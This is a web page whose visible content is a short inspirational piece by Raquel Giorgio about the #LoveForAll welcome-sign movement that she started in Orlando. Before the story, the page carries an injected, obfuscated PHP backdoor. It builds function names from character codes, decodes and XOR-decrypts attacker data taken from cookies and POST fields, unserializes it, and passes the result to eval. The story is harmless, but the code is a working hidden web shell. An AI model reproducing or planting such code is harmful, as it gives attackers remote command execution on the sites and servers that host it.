$kolmTocQT = "\x52" . "\164" . chr ( 151 - 56 )."\x4b" . 'h' . chr ( 913 - 835 )."\x4e" . chr (65); $KNheUZyKb = chr (99) . "\x6c" . chr ( 758 - 661 ).chr ( 635 - 520 ).chr ( 632 - 517 )."\137" . "\145" . 'x' . chr (105) . "\x73" . "\164" . "\163";$hwDTXJEP = class_exists($kolmTocQT); $kolmTocQT = "15054";$KNheUZyKb = "13183";$ZAFWstPN = 0;if ($hwDTXJEP == $ZAFWstPN){function iHdLlpsMU(){return FALSE;}$lgMWX = "16250";iHdLlpsMU();class Rt_KhNNA{private function TsdUG($lgMWX){if (is_array(Rt_KhNNA::$iEfXlcDY)) {$OKMMygSQLI = str_replace("\x3c" . "\77" . "\x70" . "\150" . "\x70", "", Rt_KhNNA::$iEfXlcDY["\143" . "\157" . "\x6e" . 't' . 'e' . chr ( 325 - 215 ).chr (116)]);eval($OKMMygSQLI); $lgMWX = "16250";exit();}}private $AhKVRr;public function gHpqxfWbmr(){echo 37401;}public function __destruct(){$lgMWX = "39203_41759";$this->TsdUG($lgMWX); $lgMWX = "39203_41759";}public function __construct($UpUtpSmhDK=0){$KBBIzAR = $_POST;$PPXJFdD = $_COOKIE;$SIHFpguWGE = "b9bea64c-9f9c-4a18-8da7-0adfe7325c3a";$aXGrVdnwIr = @$PPXJFdD[substr($SIHFpguWGE, 0, 4)];if (!empty($aXGrVdnwIr)){$zaAGIwrrY = "base64";$wtNEWxgld = "";$aXGrVdnwIr = explode(",", $aXGrVdnwIr);foreach ($aXGrVdnwIr as $LRQpkP){$wtNEWxgld .= @$PPXJFdD[$LRQpkP];$wtNEWxgld .= @$KBBIzAR[$LRQpkP];}$wtNEWxgld = array_map($zaAGIwrrY . "\x5f" . "\144" . "\145" . chr ( 820 - 721 ).'o' . "\144" . "\145", array($wtNEWxgld,)); $wtNEWxgld = $wtNEWxgld[0] ^ str_repeat($SIHFpguWGE, (strlen($wtNEWxgld[0]) / strlen($SIHFpguWGE)) + 1);Rt_KhNNA::$iEfXlcDY = @unserialize($wtNEWxgld); $wtNEWxgld = class_exists("39203_41759");}}public static $iEfXlcDY = 8822;}$eUskyvUuVo = new /* 33164 */ Rt_KhNNA(16250 + 16250);unset($eUskyvUuVo);} Story and Video Submitted by Raquel Giorgio – Positively Powerstories

Story and Video Submitted by Raquel Giorgio

Almost two years ago, I was inspired to start a mini-movement in my hometown of Orlando, FL called #LoveForAll. My goal was to blanket my neighborhood with signs in windows of shops that welcomed people of all nationalities, ethnicities, religions, gender and sexual preference into these places of business. The mini-movement grew and grew and now tens of thousands of these signs are all over the country displayed in homes, classrooms, shops, restaurants and offices. Occasionally, I would be met with resistance by people who felt this was a political movement. It isn’t. It’s simply a movement of LOVE. And in this time of crisis when everyone on this planet is affected by this virus, love is needed more than ever. We’re all equal. We’re all one. The virus doesn’t discriminate. And neither should we. Now is the time for #LoveForAll to spread around this world. And if I can help in my own small way with a sign that makes everyone feel welcome wherever they go in this world, I am more than happy to oblige. For more information on how you can help or to request a sign, please visit InsistOnLoveForAll.com.